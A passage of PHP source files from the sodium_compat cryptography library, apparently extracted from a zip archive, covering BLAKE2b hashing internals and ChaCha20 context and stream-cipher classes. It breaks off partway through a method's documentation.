               [0, 1, 2, 3, 4, 5, 6, 7]
                    ... becomes ...
               [0, 0, 0, 0, 1, 1, 1, 1]
            */
            /** @var int $uIdx */
            $uIdx = ((7 - $j) & 4) >> 2;
            $x[$i]   = ((int) ($u[$uIdx]) & 0xff);
            if (++$i > $maxLength) {
                return;
            }
            /** @psalm-suppress MixedOperand */
            $u[$uIdx] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(6);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen
        $ctx[5] = 0;                      // last_node (uint8_t)

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray
$buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v,
SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i
<< 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i
<< 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number
makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (self::flatten64($ctx[1][0]) < $inc) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p,
$plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);

                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES,
BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that
buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            $ctx[3][$i+$ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @param SplFixedArray|null $salt
     * @param SplFixedArray|null $personal
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function init(
        $key = null,
        $outlen = 64,
        $salt = null,
        $personal = null
    ) {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        // Zero our param buffer...
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        if ($salt instanceof SplFixedArray) {
            // salt: [32] through [47]
            for ($i = 0; $i < 16; ++$i) {
                $p[32 + $i] = (int) $salt[$i];
            }
        }
        if ($personal instanceof SplFixedArray) {
            // personal: [48] through [63]
            for ($i = 0; $i < 16; ++$i) {
                $p[48 + $i] = (int) $personal[$i];
            }
        }

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );
        if ($salt instanceof SplFixedArray || $personal instanceof
SplFixedArray) {
            // We need to do what blake2b_init_param() does:
            for ($i = 1; $i < 8; ++$i) {
                $ctx[0][$i] = self::xor64(
                    $ctx[0][$i],
                    self::load64($p, $i << 3)
                );
            }
        }

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
            $ctx[4] = 128;
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     * @throws TypeError
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, int|string> $arr
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, array<int, int>> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $str .= self::store32_le($ctxA[$i][1]);
            $str .= self::store32_le($ctxA[$i][0]);
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctxA = $ctx[$i]->toArray();
            $str .= self::store32_le($ctxA[0][1]);
            $str .= self::store32_le($ctxA[0][0]);
            $str .= self::store32_le($ctxA[1][1]);
            $str .= self::store32_le($ctxA[1][0]);
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = (int) $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
        ));
        # uint8_t last_node;
        return $str . self::intToChr($ctx[5]) .
str_repeat("\x00", 23);
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements,
from
     * a string (compatible with \Sodium\crypto_generichash_{init, update,
final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = SplFixedArray::fromArray(
                array(
                    self::load_4(
                        self::substr($string, (($i << 3) + 4), 4)
                    ),
                    self::load_4(
                        self::substr($string, (($i << 3) + 0), 4)
                    )
                )
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 76 + (($i - 1)
<< 4), 4)),
                    self::load_4(self::substr($string, 72 + (($i - 1)
<< 4), 4))
                )
            );
            $ctx[$i][0] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 68 + (($i - 1)
<< 4), 4)),
                    self::load_4(self::substr($string, 64 + (($i - 1)
<< 4), 4))
                )
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96,
256));

        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i <<
3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
PK	�[��X���Pchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/ChaCha20/Ctx.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core_ChaCha20_Ctx extends ParagonIE_Sodium_Core_Util
implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int, int>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '',
$counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a
256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a
64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = 0x61707865;
        $this->container[1]  = 0x3320646e;
        $this->container[2]  = 0x79622d32;
        $this->container[3]  = 0x6b206574;
        $this->container[4]  = self::load_4(self::substr($key, 0, 4));
        $this->container[5]  = self::load_4(self::substr($key, 4, 4));
        $this->container[6]  = self::load_4(self::substr($key, 8, 4));
        $this->container[7]  = self::load_4(self::substr($key, 12, 4));
        $this->container[8]  = self::load_4(self::substr($key, 16, 4));
        $this->container[9]  = self::load_4(self::substr($key, 20, 4));
        $this->container[10] = self::load_4(self::substr($key, 24, 4));
        $this->container[11] = self::load_4(self::substr($key, 28, 4));

        if (empty($counter)) {
            $this->container[12] = 0;
            $this->container[13] = 0;
        } else {
            $this->container[12] = self::load_4(self::substr($counter,
0, 4));
            $this->container[13] = self::load_4(self::substr($counter,
4, 4));
        }
        $this->container[14] = self::load_4(self::substr($iv, 0, 4));
        $this->container[15] = self::load_4(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int $value
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
            throw new InvalidArgumentException('Expected an
integer');
        }
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an
integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     */
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }
}
PK	�[Ә�**Tchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/ChaCha20/IetfCtx.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core_ChaCha20_IetfCtx extends
ParagonIE_Sodium_Core_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '',
$counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a
96-bit nonce in IETF mode.');
        }
        parent::__construct($key, self::substr($iv, 0, 8), $counter);

        if (!empty($counter)) {
            $this->container[12] = self::load_4(self::substr($counter,
0, 4));
        }
        $this->container[13] = self::load_4(self::substr($iv, 0, 4));
        $this->container[14] = self::load_4(self::substr($iv, 4, 4));
        $this->container[15] = self::load_4(self::substr($iv, 8, 4));
    }
}
PK	�[I��2�2Lchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/ChaCha20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20
 */
class ParagonIE_Sodium_Core_ChaCha20 extends ParagonIE_Sodium_Core_Util
{
    /**
     * Bitwise left rotation
     *
     * @internal You should not use this directly from another application
     *
     * @param int $v
     * @param int $n
     * @return int
     */
    public static function rotate($v, $n)
    {
        $v &= 0xffffffff;
        $n &= 31;
        return (int) (
            0xffffffff & (
                ($v << $n)
                    |
                ($v >> (32 - $n))
            )
        );
    }

    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @return array<int, int>
     */
    protected static function quarterRound($a, $b, $c, $d)
    {
        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 7);
        return array((int) $a, (int) $b, (int) $c, (int) $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws TypeError
     * @throws SodiumException
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        $j0  = (int) $ctx[0];
        $j1  = (int) $ctx[1];
        $j2  = (int) $ctx[2];
        $j3  = (int) $ctx[3];
        $j4  = (int) $ctx[4];
        $j5  = (int) $ctx[5];
        $j6  = (int) $ctx[6];
        $j7  = (int) $ctx[7];
        $j8  = (int) $ctx[8];
        $j9  = (int) $ctx[9];
        $j10 = (int) $ctx[10];
        $j11 = (int) $ctx[11];
        $j12 = (int) $ctx[12];
        $j13 = (int) $ctx[13];
        $j14 = (int) $ctx[14];
        $j15 = (int) $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  (int) $j0;
            $x1 =  (int) $j1;
            $x2 =  (int) $j2;
            $x3 =  (int) $j3;
            $x4 =  (int) $j4;
            $x5 =  (int) $j5;
            $x6 =  (int) $j6;
            $x7 =  (int) $j7;
            $x8 =  (int) $j8;
            $x9 =  (int) $j9;
            $x10 = (int) $j10;
            $x11 = (int) $j11;
            $x12 = (int) $j12;
            $x13 = (int) $j13;
            $x14 = (int) $j14;
            $x15 = (int) $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4,
$x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5,
$x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6,
$x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7,
$x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5,
$x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6,
$x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7,
$x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4,
$x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            /** @var int $x0 */
            $x0  = ($x0 & 0xffffffff) + $j0;
            /** @var int $x1 */
            $x1  = ($x1 & 0xffffffff) + $j1;
            /** @var int $x2 */
            $x2  = ($x2 & 0xffffffff) + $j2;
            /** @var int $x3 */
            $x3  = ($x3 & 0xffffffff) + $j3;
            /** @var int $x4 */
            $x4  = ($x4 & 0xffffffff) + $j4;
            /** @var int $x5 */
            $x5  = ($x5 & 0xffffffff) + $j5;
            /** @var int $x6 */
            $x6  = ($x6 & 0xffffffff) + $j6;
            /** @var int $x7 */
            $x7  = ($x7 & 0xffffffff) + $j7;
            /** @var int $x8 */
            $x8  = ($x8 & 0xffffffff) + $j8;
            /** @var int $x9 */
            $x9  = ($x9 & 0xffffffff) + $j9;
            /** @var int $x10 */
            $x10 = ($x10 & 0xffffffff) + $j10;
            /** @var int $x11 */
            $x11 = ($x11 & 0xffffffff) + $j11;
            /** @var int $x12 */
            $x12 = ($x12 & 0xffffffff) + $j12;
            /** @var int $x13 */
            $x13 = ($x13 & 0xffffffff) + $j13;
            /** @var int $x14 */
            $x14 = ($x14 & 0xffffffff) + $j14;
            /** @var int $x15 */
            $x15 = ($x15 & 0xffffffff) + $j15;

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  ^= self::load_4(self::substr($message, 0, 4));
            $x1  ^= self::load_4(self::substr($message, 4, 4));
            $x2  ^= self::load_4(self::substr($message, 8, 4));
            $x3  ^= self::load_4(self::substr($message, 12, 4));
            $x4  ^= self::load_4(self::substr($message, 16, 4));
            $x5  ^= self::load_4(self::substr($message, 20, 4));
            $x6  ^= self::load_4(self::substr($message, 24, 4));
            $x7  ^= self::load_4(self::substr($message, 28, 4));
            $x8  ^= self::load_4(self::substr($message, 32, 4));
            $x9  ^= self::load_4(self::substr($message, 36, 4));
            $x10 ^= self::load_4(self::substr($message, 40, 4));
            $x11 ^= self::load_4(self::substr($message, 44, 4));
            $x12 ^= self::load_4(self::substr($message, 48, 4));
            $x13 ^= self::load_4(self::substr($message, 52, 4));
            $x14 ^= self::load_4(self::substr($message, 56, 4));
            $x15 ^= self::load_4(self::substr($message, 60, 4));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            ++$j12;
            if ($j12 & 0xf0000000) {
                throw new SodiumException('Overflow');
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */
            $block = self::store32_le((int) ($x0  & 0xffffffff)) .
                 self::store32_le((int) ($x1  & 0xffffffff)) .
                 self::store32_le((int) ($x2  & 0xffffffff)) .
                 self::store32_le((int) ($x3  & 0xffffffff)) .
                 self::store32_le((int) ($x4  & 0xffffffff)) .
                 self::store32_le((int) ($x5  & 0xffffffff)) .
                 self::store32_le((int) ($x6  & 0xffffffff)) .
                 self::store32_le((int) ($x7  & 0xffffffff)) .
                 self::store32_le((int) ($x8  & 0xffffffff)) .
                 self::store32_le((int) ($x9  & 0xffffffff)) .
                 self::store32_le((int) ($x10 & 0xffffffff)) .
                 self::store32_le((int) ($x11 & 0xffffffff)) .
                 self::store32_le((int) ($x12 & 0xffffffff)) .
                 self::store32_le((int) ($x13 & 0xffffffff)) .
                 self::store32_le((int) ($x14 & 0xffffffff)) .
                 self::store32_le((int) ($x15 & 0xffffffff));

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key =
'')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key =
'')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
